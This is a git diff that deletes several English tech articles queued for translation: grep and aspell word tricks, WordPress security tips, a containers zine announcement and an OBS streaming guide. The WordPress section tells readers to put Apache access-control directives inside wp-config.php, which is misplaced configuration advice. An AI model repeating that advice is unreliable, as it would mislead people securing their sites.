and the fact that it is very fast (an advantage when working with large sites). - -In many software tools, ease-of-use comes at the expense of flexibility, or vice-versa; Hugo makes a largely successful attempt at including both. For basic use with Markdown content and a pre-built theme, Hugo is easy to use and produces rapid results. Alternatively, if you have the need to alter the configuration settings or dive in and create your own themes, shortcodes, templates, or metadata schemes, that choice is open to you. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/hugo-classroom - -作者:[Peter Cheer][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/petercheer -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003588_01_rd3os.combacktoschoolseriesk12_rh_021x_0.png?itok=fvorN0e- (Digital hand surrounding by objects, bike, light bulb, graphs) -[2]: https://gohugo.io/ -[3]: https://themes.gohugo.io/ -[4]: http://github.com/wereturtle/ghostwriter -[5]: https://opensource.com/sites/default/files/uploads/jclic_shortcode.png (JClic shortcode) -[6]: https://clic.xtec.cat/legacy/en/index.html -[7]: http://december.com/html/4/element/iframe.html diff --git a/sources/tech/20200421 How to take advantage of Linux-s extensive vocabulary.md b/sources/tech/20200421 How to take advantage of Linux-s extensive vocabulary.md deleted file mode 100644 index 249d9d84f5..0000000000 --- a/sources/tech/20200421 How to take advantage of Linux-s extensive vocabulary.md +++ /dev/null @@ -1,273 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to take advantage of Linux's extensive vocabulary) -[#]: via: (https://www.networkworld.com/article/3539011/how-to-takke-advantage-of-linuxs-extensive-vocabulary.html) -[#]: author: (Sandra Henry-Stocker https://www.networkworld.com/author/Sandra-Henry_Stocker/) - -How to take advantage of Linux's extensive vocabulary -====== -Linux systems don't only know a lot of words, it has commands that can help you use them by finding words that are on the tip of your tongue or fixing your typos. -Sandra Henry-Stocker - -While you might not think of Linux as a writing tutor, it does have some commendable language skills – at least when it comes to English. While the average American probably has a vocabulary between 20,000 and 50,000 words, Linux can claim over 100,000 words (spellings, not definitions). And you can easily put this vocabulary to work for you in a number of ways. Let’s look at how Linux can help with your word challenges. - -### Help with finding words - -First, let’s focus on finding words.If you use the **wc** command to count the number of words in the **/usr/share/dict/words** file on your system, you should see something like this: - -``` -$ wc -l /usr/share/dict/words -102402 /usr/share/dict/words -``` - -As you can see, the **words** file on this system contains 102,402 words. So, when you’re trying to nail down just the right word and are having trouble, you stand a good chance of finding it on your system by remembering (or guessing at) some part of it. But you'll need a little help narrowing down those 102,402 words to a group worth your time to review. In this command, we’re looking for words that start with the letters “revi”. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][1] - -``` -$ grep ^reviv /usr/share/dict/words -revival -revival's -revivalist -revivalist's -revivalists -revivals -revive -revived -revives -revivification -revivification's -revivified -revivifies -revivify -revivifying -reviving -``` - -That’s sixteen words that start with the string “revi”. The **^** character represents the beginning of the word and, as you might have suspected, each word in the file is on a line by itself. - -A good number of the words in the **/usr/share/dict/words** file are names. If you want to  find words regardless of whether they're capitalized, add the **-i** (ignore case) option to your **grep** command. - -``` -$ grep -i ^wool /usr/share/dict/words -Woolf -Woolf's -Woolite -Woolite's -Woolongong -Woolongong's -Woolworth -Woolworth's -wool -... -``` - -You can also look for words that end in or contain a certain string of letters. In this next command, we look for words that contain the string “nativ” at any location. - -``` -$ grep 'nativ' /usr/share/dict/words -alternative -alternative's -alternatively -alternatives -imaginative -imaginatively -native -native's -natives -nativities -nativity -nativity's -nominative -nominative's -nominatives -unimaginative -``` - -In this next command, we look for words that end in “emblance”, the **$** character representing the end of the line. Only two words in the **words** file fit the bill. - -[][2] - -``` -$ grep 'emblance$' /usr/share/dict/words -resemblance -semblance -``` - -If we, for some reason, want to find words with exactly 21 letters, we could use this command: - -``` -$ grep '^.....................$' /usr/share/dict/words -counterintelligence's -electroencephalograms -electroencephalograph -``` - -On the other hand, making sure we've typed the correct number of dots can be tedious. This next command is little easier to manage: - -``` -$ grep -E '^[[:alpha:]]{21}$' /usr/share/dict/words -electroencephalograms -electroencephalograph -``` - -This command does the same thing: - -``` -$ grep -E '^\w{21}$' /usr/share/dict/words -electroencephalograms -electroencephalograph -``` - -The one important difference between these commands is that the one with the dots matches any string of 21 characters. The two specifying "alpha" or "\w" only match letters, so they find only two matching words. - -Now let’s look for words that contain 20 letters (or more) in a row. - -``` -$ grep -E '(\w{20})' /usr/share/dict/words -Andrianampoinimerina -Andrianampoinimerina's -counterrevolutionaries -counterrevolutionary -counterrevolutionary's -electroencephalogram -electroencephalogram's -electroencephalograms -electroencephalograph -electroencephalograph's -electroencephalographs -uncharacteristically -``` - -That command returns words with apostrophes because they contain 20 letters in a row before they get to that point. - -Next, we’ll check out words with 21 or more characters. The 1 and 20 in combination with the **v** (invert) option in this command cause **grep** to skip over words with anywhere from 1 to 20 characters. - -``` -$ grep -vwE '\w{1,20}' /usr/share/dict/words -counterrevolutionaries -electroencephalograms -electroencephalograph -electroencephalographs -``` - -In this next command, we look for words that start with “ex” and have four additional letters. - -``` -$ grep '^ex.\{4\}$' /usr/share/dict/words -exacts -exalts -exam's -exceed -excels -except -excess -excise -excite -excuse -… -``` - -In case you're curious, the **words** file on this system contains 43 such words: - -``` -$ grep '^ex.\{4\}$' /usr/share/dict/words | wc -l -43 -``` - -To get help with spelling, you should try **aspell**. It can help you with individual words or run a spell check scan through an entire text file. In this first example, we ask **aspell** to help with a single word. It finds the word we’re after along with a couple other possibilities. - -### Checking a word - -``` -$ aspell -a -@(#) International Ispell Version 3.1.20 (but really Aspell 0.60.7) -prolifferate <== entered word -& prolifferate 3 0: proliferate, proliferated, proliferates <== replacement options -``` - -If **aspell** doesn’t provide a list of words, that means that the spelling you offered was correct. Here's an example: - -``` -$ aspell -a -@(#) International Ispell Version 3.1.20 (but really Aspell 0.60.7) -proliferate <== entered text -* <== no suggestions -``` - -Typing **^C** (control-c) exits **aspell**. - -### Checking a file - -When checking a file with **aspell**, you get suggestions for each misspelled word. When **aspell** spots typos, it highlights the misspelled words one at a time and gives you a chance to choose from a list of properly spelled words that are similar enough to the misspelled words to be good candidates for replacing them. - -To start checking a file, type **aspell -c** followed by the file name. - -``` -$ aspell -c thesis -``` - -You'll see something like this: - -``` -This thesis focusses on … - -1) focuses 6) Fosse's -2) focused 7) flosses -3) cusses 8) courses -4) fusses 9) focus -5) focus's 0) fuses -i) Ignore I) Ignore all -r) Replace R) Replace all -a) Add l) Add Lower -b) Abort x) Exit -``` - -Make your selection by pressing the key listed next to the word you want (1, 2, etc.) and **aspell** will replace the misspelled word in the file and move on to the next one if there are others. Notice that you also have options to replace the word by typing another one. Press "x" when you're done. - -### Help with crossword puzzles - -If you’re working on a crossword puzzle and need to find a five-letter word that starts with a “d” and has a “u” as its fourth letter, you can use a command like this: - -``` -$ grep -i '^d..u.$' /usr/share/dict/words -datum -debug -debut -demur -donut -``` - -### Help with word scrambles - -If you’re working on a puzzle that requires you to de-scramble the letters in a string until you've found a proper word, you can offer the list of letters to grep like this example in which **grep** turns the letters "yxusonlia" into the word “anxiously”. - -``` -$ grep -P '^(?:([yxusonlia])(?!.*?\1)){9}$' /usr/share/dict/words -anxiously -``` - -Linux’s word skills are impressive and sometimes even fun. Whether you're hoping to find words you can't quite call to mind or get a little help cheating on word puzzles, Linux offers some clever options. - -Join the Network World communities on [Facebook][3] and [LinkedIn][4] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3539011/how-to-takke-advantage-of-linuxs-extensive-vocabulary.html - -作者:[Sandra Henry-Stocker][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Sandra-Henry_Stocker/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/newsletters/signup.html -[2]: https://www.networkworld.com/blog/itaas-and-the-corporate-storage-technology/?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE22140&utm_content=sidebar (ITAAS and Corporate Storage Strategy) -[3]: https://www.facebook.com/NetworkWorld/ -[4]: https://www.linkedin.com/company/network-world diff --git a/sources/tech/20200426 6 tips for securing your WordPress website.md b/sources/tech/20200426 6 tips for securing your WordPress website.md deleted file mode 100644 index 757ff42d30..0000000000 --- a/sources/tech/20200426 6 tips for securing your WordPress website.md +++ /dev/null @@ -1,175 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (6 tips for securing your WordPress website) -[#]: via: (https://opensource.com/article/20/4/wordpress-security) -[#]: author: (Lucy Carney https://opensource.com/users/lucy-carney) - -6 tips for securing your WordPress website -====== -Even beginners can—and should—take these steps to protect their -WordPress sites against cyberattacks. -![A lock on the side of a building][1] - -Already powering over 30% of the internet, WordPress is the fastest-growing content management system (CMS) in the world—and it's not hard to see why. With tons of customization available through coding and plugins, top-notch SEO, and a supreme reputation for blogging, WordPress has certainly earned its popularity. - -However, with popularity comes other, less appealing attention. WordPress is a common target for intruders, malware, and cyberattacks—in fact, WordPress accounted for around [90% of hacked CMS platforms][2] in 2019. - -Whether you're a first-time WordPress user or an experienced developer, there are important steps you can take to protect your WordPress website. The following six key tips will get you started. - -### 1\. Choose reliable hosting - -Hosting is the unseen foundation of all websites—without it, you can't publish your site online. But hosting does much more than simply host your site. It's also responsible for site speed, performance, and security. - -The first thing to do is to check if a host includes SSL security in its plans. - -SSL is an essential security feature for all websites, whether you're running a small blog or a large online store. You'll need a more [advanced SSL certificate][3] if you're accepting payments, but for most sites, the basic free SSL should be fine. - -Other security features to look out for include: - - * Frequent, automatic offsite backups - * Malware and antivirus scanning and removal - * Distributed denial of service (DDoS) protection - * Real-time network monitoring - * Advanced firewall protection - - - -In addition to these digital security features, it's worth thinking about your hosting provider's _physical_ security measures as well. These include limiting access to data centers with security guards, CCTV, and two-factor or biometric authentication. - -### 2\. Use security plugins - -One of the best—and easiest—ways of protecting your website's security is to install a security plugin, such as [Sucuri][4], which is an open source, GPLv2 licensed project. Security plugins are vitally important because they automate security, which means you can focus on running your site rather than committing all your time to fighting off online threats. - -These plugins detect and block malicious attacks and alert you about any issues that require your attention. In short, they constantly work in the background to protect your site, meaning you don't have to stay awake 24/7 to fight off hackers, bugs, and other digital nasties. - -A good security plugin will provide all the essential security features you need for free, but some advanced features require a paid subscription. For example, you'll need to pay if you want to unlock [Sucuri's website firewall][5]. Enabling a web application firewall (WAF) blocks common threats and adds an extra layer of security to your site, so it's a good idea to look for this feature when choosing a security plugin. - -### 3\. Choose trustworthy plugins and themes - -The joy of WordPress is that it is open source, so anyone and everyone can pitch in with themes and plugins that they've developed. This can also pose problems when it comes to picking a high-quality theme or plugin. - -It serves to be cautious when picking a free theme or plugin, as some are poorly designed—or worse, may hide malicious code. - -To avoid this, always source free themes and plugins from reputable sources, such as the WordPress library. Always read reviews and research the developer to see if they've built any other programs. - -Outdated or poorly designed themes and plugins can leave "backdoors" open for attackers or bugs to get into your site, which is why it pays to be careful in your choices. However, you should also be wary of nulled or cracked themes. These are premium themes that have been compromised by hackers and are for sale illegally. You might buy a nulled theme believing that it's all above-board—only to have your site damaged by hidden malicious code. - -To avoid nulled themes, don't get drawn in by discounted prices, and always stick to reputable stores, such as the official [WordPress directory][6]. If you're looking elsewhere, stick to large and trusted stores, such as [Themify][7], a theme and plugin store that has been running since 2010. Themify ensures all its WordPress themes pass the [Google Mobile-Friendly][8] test and are open source under the [GNU General Public License][9]. - -### 4\. Run regular updates - -It's a fundamental WordPress rule: _always keep your site up to date._ However, it's a rule not everyone sticks to—in fact, only [43% of WordPress sites][10] are running the latest version. - -The problem is that when your site becomes outdated, it becomes susceptible to glitches, bugs, intrusions, and crashes because it falls behind on security and performance fixes. Outdated sites can't fix bugs the same way as updated sites can, and attackers can tell which sites are outdated. This means they can search for the most vulnerable sites and attack accordingly. - -This is why you should always run your site on the latest version of WordPress. And in order to keep your security at its strongest, you must update your plugins and themes as well as your core WordPress software. - -If you choose a managed WordPress hosting plan, you might find that your provider will check and run updates for you—be clear whether your host offers software _and_ plugin updates. If not, you can install an open source plugin manager, such as the GPLv2-licensed [Easy Updates Manager plugin][11], as an alternative. - -### 5\. Strengthen your logins - -Aside from creating a secure WordPress website through carefully choosing your theme and installing security plugins, you also need to safeguard against unauthorized access through logins. - -#### Password protection - -The first and simplest way to strengthen your login security is to change your password—especially if you're using an [easily guessed phrase][12] such as "123456" or "qwerty." - -Instead, try to use a long passphrase rather than a password, as they are harder to crack. The best way is to use a series of unrelated words strung together that you find easy to remember. - -Here are some other tips: - - * Never reuse passwords - * Don't include obvious words such as family members' names or your favorite football team - * Never share your login details with anyone - * Include capitals and numbers to add complexity to your passphrase - * Don't write down or store your login details anywhere - * Use a [password manager][13] - - - -#### Change your login URL - -It's a good idea to change your default login web address from the standard format: yourdomain.com/wp-admin. This is because hackers know this is the default URL, so you risk brute-force attacks by not changing it. - -To avoid this, change the URL to something different. Use an open source plugin such as the GPLv2-licensed [WPS Hide Login][14] for safe, quick, and easy customization. - -#### Apply two-factor authentication - -For extra protection against unauthorized logins and brute-force attacks, you should add two-factor authentication. This means that even if someone _does_ get access to your login details, they'll need a code that's sent directly to your phone to gain access to your WordPress site's admin. - -Adding two-factor authentication is pretty easy. Simply install yet another plugin—this time, search the WordPress Plugin Directory for "two-factor authentication," and select the plugin you want. One option is [Two Factor][15], a popular GPLv2 licensed project that has over 10,000 active installations. - -#### Limit login attempts - -WordPress tries to be helpful by letting you guess your login details as many times as you like. However, this is also helpful to hackers trying to gain unauthorized access to your WordPress site to release malicious code. - -To combat brute-force attacks, install a plugin that limits login attempts and set how many guesses you want to allow. - -### 6\. Disable file editing - -This isn't such a beginner-friendly step, so don't attempt it unless you're a confident coder—and always back up your site first! - -That said, disabling file editing _is_ an important measure if you're really serious about protecting your WordPress website. If you don't hide your files, it means anyone can edit your theme and plugin code straight from the admin area—which is dangerous if an intruder gets in. - -To deny unauthorized access, go to your **wp-config.php** file and enter: - - -``` -<Files wp-config.php> -order allow,deny -deny from all -</Files> -``` - -Or, to remove the theme and plugin editing options from your WordPress admin area completely, edit your **wp-config.php** file by adding: - - -``` -`define( 'DISALLOW_FILE_EDIT', true );` -``` - -Once you've saved and reloaded the file, the plugin and theme editors will disappear from your menus within the WordPress admin area, stopping anyone from editing your theme or plugin code—including you**.** Should you need to restore access to your theme and plugin code, just delete the code you added to your **wp-config.php** file when you disabled editing. - -Whether you block unauthorized access or totally disable file editing, it's important to take action to protect your site's code. Otherwise, it's easy for unwelcome visitors to edit your files and add new code. This means an attacker could use the editor to gather data from your WordPress site or even use your site to launch attacks on others. - -For an easier way of hiding your files, you can use a security plugin that will do it for you, such as Sucuri. - -### WordPress security recap - -WordPress is an excellent open source platform that should be enjoyed by beginners and developers alike without the fear of becoming a victim of an attack. Sadly, these threats aren't going anywhere anytime soon, so it's vital to stay on top of your site's security. - -Using the measures outlined above, you can create a stronger, more secure level of protection for your WordPress site and ensure a much more enjoyable experience for yourself. - -Staying secure is an ongoing commitment rather than a one-time checklist, so be sure to revisit these steps regularly and stay alert when building and using your CMS. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/wordpress-security - -作者:[Lucy Carney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/lucy-carney -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_3reasons.png?itok=k6F3-BqA (A lock on the side of a building) -[2]: https://cyberforces.com/en/wordpress-most-hacked-cms -[3]: https://opensource.com/article/19/11/internet-security-tls-ssl-certificate-authority -[4]: https://wordpress.org/plugins/sucuri-scanner/ -[5]: https://sucuri.net/website-firewall/ -[6]: https://wordpress.org/themes/ -[7]: https://themify.me/ -[8]: https://developers.google.com/search/mobile-sites/ -[9]: http://www.gnu.org/licenses/gpl.html -[10]: https://wordpress.org/about/stats/ -[11]: https://wordpress.org/plugins/stops-core-theme-and-plugin-updates/ -[12]: https://www.forbes.com/sites/kateoflahertyuk/2019/04/21/these-are-the-worlds-most-hacked-passwords-is-yours-on-the-list/#4f157c2f289c -[13]: https://opensource.com/article/16/12/password-managers -[14]: https://wordpress.org/plugins/wps-hide-login/ -[15]: https://en-gb.wordpress.org/plugins/two-factor/ diff --git a/sources/tech/20200427 New zine- How Containers Work.md b/sources/tech/20200427 New zine- How Containers Work.md deleted file mode 100644 index fa2198ebbc..0000000000 --- a/sources/tech/20200427 New zine- How Containers Work.md +++ /dev/null @@ -1,121 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (New zine: How Containers Work!) -[#]: via: (https://jvns.ca/blog/2020/04/27/new-zine-how-containers-work/) -[#]: author: (Julia Evans https://jvns.ca/) - -New zine: How Containers Work! -====== - -On Friday I published a new zine: “How Containers Work!”. I also launched a fun redesign of [wizardzines.com][1]. - -You can get it for $12 at . If you buy it, you’ll get a PDF that you can either print out or read on your computer. Or you can get a pack of [all 8 zines][2] so far. - -Here’s the cover and table of contents: - -[![][3]][4] - -### why containers? - -I’ve spent a lot of time [figuring][5] [out][6] [how to][7] [run][8] [things][9] [in][10] [containers][11] over the last 3-4 years. And at the beginning I was really confused! I knew a bunch of things about Linux, and containers didn’t seem to fit in with anything I thought I knew (“is it a process? what’s a network namespace? what’s happening?“). The whole thing seemed really weird. - -It turns out that containers ARE actually pretty weird. They’re not just one thing, they’re what you get when you glue together 6 different features that were mostly designed to work together but have a bunch of confusing edge cases. - -As usual, the thing that helped me the most in my container adventures is a good understanding of the **fundamentals** – what exactly is actually happening on my server when I run a container? - -So that’s what this zine is about – cgroups, namespaces, pivot_root, seccomp-bpf, and all the other Linux kernel features that make containers work. - -Once I understood those ideas, it got a **lot** easier to debug when my containers were doing surprising things in production. I learned a couple of interesting and strange things about containers while writing this zine too – I’ll probably write a blog post about one of them later this week. - -### containers aren’t magic - -This picture (page 6 of the zine) shows you how to run a fish container image with only 15 lines of bash. This is heavily inspired by [bocker][12], which “implements” Docker in about 100 lines of bash. - - - -The main things I see missing from that script compared to what Docker actually does when running a container (other than using an actual container image and not just a tarball) are: - - * it doesn’t drop any capabilities – the container is still running as root and has full root privileges (just in a different mount + PID namespace) - * it doesn’t block any system calls with seccomp-bpf - - - -### container command line tools - -The zine also goes over a bunch of command line tools & files that you can use to inspect running containers or play with Linux container features. Here’s a list: - - * `mount -t overlay` (create and view overlay filesystems) - * `unshare` (create namespaces) - * `nsenter` (use an existing namespace) - * `getpcaps` (get a process’s capabilities) - * `capsh` (drop or add capabilities, etc) - * `cgcreate` (create a cgroup) - * `cgexec` (run a command in an existing cgroup) - * `chroot` (change root directory. not actually what containers use but interesting to play with anyway) - * `/sys/fs/cgroups` (for information about cgroups, like `memory.usage_in_bytes`) - * `/proc/PID/ns` (all a process’s namespaces) - * `lsns` (another way to view namespaces) - - - -I also made a short youtube video a while back called [ways to spy on a Docker container][13] that demos some of these command line tools. - -### container runtime agnostic - -I tried to keep this zine pretty container-runtime-agnostic – I mention Docker a couple of times because it’s so widely used, but it’s about the Linux kernel features that make containers work in general, not Docker or LXC or systemd-nspawn or Kubernetes or whatever. If you understand the fundamentals you can figure all those things out! - -### we redesigned wizardzines.com! - -On Friday I also launched a redesign of [wizardzines.com][1]! [Melody Starling][14] (who is amazing) did the design. I think now it’s better organized but the tiny touch that I’m most delighted by is that now the zines jump with joy when you hover over them. - -One cool thing about working with a designer is – they don’t just make things _look_ better, they help _organize_ the information better so the website makes more sense and it’s easier to find things! This is probably obvious to anyone who knows anything about design but I haven’t worked with designers very much (or maybe ever?) so it was really cool to see. - -One tiny example of this: Melody had the idea of adding a tiny FAQ on the landing page for each zine, where I can put the answers to all the questions people always ask! Here’s what the little FAQ box looks like: - -[![][15]][4] - -I probably want to edit those questions & answers over time but it’s SO NICE to have somewhere to put them. - -### what’s next: maybe debugging! or working more on flashcards! - -The two projects I’m thinking about the most right now are - - 1. a zine about debugging, which I started last summer and haven’t gotten around to finishing yet - 2. a [flashcards project][16] that I’ve been adding to slowly over the last couple of months. I think could become a nice way to explain basic ideas. - - - -Here’s a link to where to [get the zine][4] again :) - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2020/04/27/new-zine-how-containers-work/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://wizardzines.com -[2]: https://wizardzines.com/zines/all-the-zines/ -[3]: https://jvns.ca/images/containers-cover.jpg -[4]: https://wizardzines.com/zines/containers -[5]: https://stripe.com/en-ca/blog/operating-kubernetes -[6]: https://jvns.ca/blog/2016/09/15/whats-up-with-containers-docker-and-rkt/ -[7]: https://jvns.ca/blog/2016/10/10/what-even-is-a-container/ -[8]: https://jvns.ca/blog/2016/12/22/container-networking/ -[9]: https://jvns.ca/blog/2016/10/26/running-container-without-docker/ -[10]: https://jvns.ca/blog/2017/02/17/mystery-swap/ -[11]: https://jvns.ca/blog/2016/10/02/a-list-of-container-software/ -[12]: https://github.com/p8952/bocker -[13]: https://www.youtube.com/watch?v=YCVSdnYzH34&t=1s -[14]: https://melody.dev -[15]: https://jvns.ca/images/wizardzines-faq.png -[16]: https://flashcards.wizardzines.com diff --git a/sources/tech/20200429 Open source live streaming with Open Broadcaster Software.md b/sources/tech/20200429 Open source live streaming with Open Broadcaster Software.md deleted file mode 100644 index 748786de77..0000000000 --- a/sources/tech/20200429 Open source live streaming with Open Broadcaster Software.md +++ /dev/null @@ -1,137 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Open source live streaming with Open Broadcaster Software) -[#]: via: (https://opensource.com/article/20/4/open-source-live-stream) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Open source live streaming with Open Broadcaster Software -====== -If you have something to say, a skill to teach, or just something fun to -share, broadcast it to the world with OBS. -![An old-fashioned video camera][1] - -If you have a talent you want to share with the world, whether it's making your favorite sourdough bread or speedrunning through a level of your favorite video game, live streaming is the modern show-and-tell. It's a powerful way to tell the world about your hobby through a medium once reserved for exclusive and expensive TV studios. Not only is the medium available to anyone with a relatively good internet connection, but the most popular software to make it happen is open source. - -[OBS][2] (Open Broadcaster Software) is a cross-platform application that serves as a control center for your live stream. A _stream_, strictly speaking, means _progressive and coherent data_. The data in a stream can be audio, video, graphics, text, or anything else you can represent as digital data. OBS is programmed to accept data as input, combine streams together (technically referred to as _mixing_) into one product, and then broadcast it. - -![OBS flowchart][3] - -A _broadcast_ is data that can be received by some target. If you're live streaming, your primary target is a streaming service that can host your stream, so other people can find it in a web browser or media player. A live stream is a live event, so people have to "tune in" to your stream when it's happening, or else they miss it. However, you can also target your own hard drive so you can record a presentation and then post it on the internet later for people to watch at their leisure. - -### Installing OBS - -To install OBS on Windows or macOS, download an installer package from [OBS's website][2]. - -To install OBS on Linux, either install it with your package manager (such as **dnf**, **zypper**, or **apt**) or [install it as a Flatpak][4]. - -### Join a streaming service - -In order to live stream, you must have a stream broker. That is, you need a central location on the internet for your stream to be delivered, so your viewers can get to what you're broadcasting. There are a few popular streaming services online, like YouTube and Twitch. You can also [set up your own video streaming server][5] using open source software. - -Regardless of which option you choose, before you begin streaming, you must have a destination for your stream. If you do use a streaming service, you must obtain a _streaming key_. A streaming key is a hash value (it usually looks something like **2ae2fad4e33c3a89c21**) that is private and unique to you. You use this key to authenticate yourself through your streaming software. Without it, the streaming service can't know you are who you say you are and won't let you broadcast over your user account. - -* * * - -* * * - -* * * - -**![Streaming key][6]** - - * In Twitch, your **Primary Stream Key** is available in the **Channel** panel of your **Creator Dashboard**. - * On YouTube, you must enable live streaming by verifying your account. Once you've done that, your **Stream Key** is in the **Other Features** menu option of your **Channel Dashboard**. - * If you're using your own server, there's no maze-like GUI to navigate. You just [create your own streaming key][7]. - - - -### Enter your streaming key - -Once you have a streaming key, launch OBS and go to the **File** > **Settings** menu. - -In the **Settings** window, click on the **Stream** category in the left column. Set the **Service** to your stream service (Custom, Twitch, YouTube, etc.), and enter your stream key. Click the **OK** button in the bottom right to save your changes. - -### Create sources - -In OBS, _sources_ represent any input signal you want to stream. By default, sources are listed at the bottom of the OBS window. - -![OBS sources][8] - -This might be a webcam, a microphone, an audio stream (such as the sound of a video game you're playing), a screen capture of your computer (a "screencast"), a slideshow you want to present, an image, and so on. Before you start streaming, you should define all the sources you plan on using for your stream. This means you have to do a little pre-production and consider what you anticipate for your show. Any camera you have set up must be defined as a source in OBS. Any extra media you plan on cutting to during your show must be defined as a source. Any sound effects or background music must be defined as a source. - -Not all sources "happen" at once. By adding media to your **Sources** panel in OBS, you're just assembling the raw components for your stream. Once you make devices and data available to OBS, you can create your **Scenes**. - -#### Setting up audio - -Computers have seemingly dozens of ways to route audio. Here's the workflow to follow when setting up sound for your stream: - - 1. Check your cables: verify that your microphone is plugged in. - 2. Go to your computer's sound control panel and set the input to whatever microphone you want OBS to treat as the main microphone. This might be a gaming headset or a boom mic or a desktop podcasting mic or a Bluetooth device or a fancy audio interface with XLR ports. Whatever it is, make sure your computer "hears" your main sound input. - 3. In OBS, create a source for your main microphone and name it something obvious (e.g., boom mic, master sound, or mic). - 4. Do a test. Make sure OBS "hears" your microphone by referring to the audio-level monitors at the bottom of the OBS window. If it's not responding to the input you believe you've set as input, check your cables, check your computer sound control panel, and check OBS. - - - -I've seen more people panic over audio sources than any other issue when streaming, and we've _all_ made the same dumb mistakes (several times each, probably!) when attempting to set a microphone for a live stream or videoconference call. Breathe deep, check your cables, check your inputs and outputs, and [get comfortable with audio][9]. It'll pay off in the end. - -### Create scenes - -A **Scene** in OBS is a screen layout and consists of one or more sources. - -![Scenes in OBS][10] - -For instance, you might create a scene called **Master shot** that shows you sitting at your desk in front of your computer or at the kitchen counter ready to mix ingredients together. The source could be a webcam mounted on a tripod a meter or two in front of you. Because you want to cut to a detail shot, you might create a second scene called **Close-up**, which uses the computer screen and audio as one input source and your microphone as another source, so you can narrate as you demonstrate what you're doing. If you're doing a baking show, you might want to mount a second webcam above the counter, so you can cut to an overhead shot of ingredients being mixed. Here, your source is a different webcam but probably the same microphone (to avoid making changes in the audio). - -A _scene_, in other words, is a lot like a _shot_ in traditional production vernacular, but it can be the combination of many shots. The fun thing about OBS is that you can mix and match a lot of different sources together, so when you're adding a **Scene**, you can resize and position different sources to achieve picture-in-picture, or split-screen, or any other effect you might want. It's common in video game "let's play" streams to have the video game in full-screen, with the player inset in the lower right or left. Or, if you're recording a panel or a multi-player game like D&D you might have several cameras covering several players in a _Brady Bunch_ grid. - -The possibilities are endless. During streaming, you can cut from one scene to another as needed. This is intended to be a dynamic system, so you can change scenes depending on what the viewer needs to see at any given moment. - -Generally, you want to have some preset scenes before you start to stream. Even if you have a friend willing to do video mixing as you stream, you always want a safe scene to fall back to, so take time beforehand to set up at least a master shot that shows you doing whatever it is you're doing. If all else fails, at least you'll have your main shot you can safely and reliably cut to. - -### Transitions - -When switching from one scene to another, OBS uses a transition. Once you have more than one scene, you can configure what kind of transition it uses in the **Transitions** panel. Simple transitions are usually best. By default, OBS uses a subtle crossfade, but you can experiment with others as you see fit. - -### Go live - -To start streaming, do your vocal exercises, find your motivation, and press the **Start Streaming** button. - -![Start streaming in OBS][11] - -As long as you've set up your streaming service correctly, you're on the air (or on the wires, anyway). - -If you're the talent (the person in front of the camera), it might be easiest to have someone control OBS during streaming. But if that's not possible, you can control it yourself as long as you've practiced a little in advance. If you're screencasting, it helps to have a two-monitor setup so you can control OBS without it being on screen. - -### Streaming for success - -Many of us take streaming for granted now that the internet exists and can broadcast media created by _anyone_. It's a hugely powerful means of communication, and we're all responsible for making the most of it. - -If you have something positive to say, a skill to teach, words of encouragement, or just something fun that you want to share, and you feel like you want to broadcast to the world, then take the time to learn OBS. You might not get a million viewers, but independent media is a vital part of [free culture][12]. The world can always use empowering and positive open source voices, and yours may be one of the most important of all. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/open-source-live-stream - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/LIFE_film.png?itok=aElrLLrw (An old-fashioned video camera) -[2]: http://obsproject.com -[3]: https://opensource.com/sites/default/files/obs-flowchart.jpg (OBS flowchart) -[4]: https://flatpak.org/setup -[5]: https://opensource.com/article/19/1/basic-live-video-streaming-server -[6]: https://opensource.com/sites/default/files/twitch-key.jpg (Streaming key) -[7]: 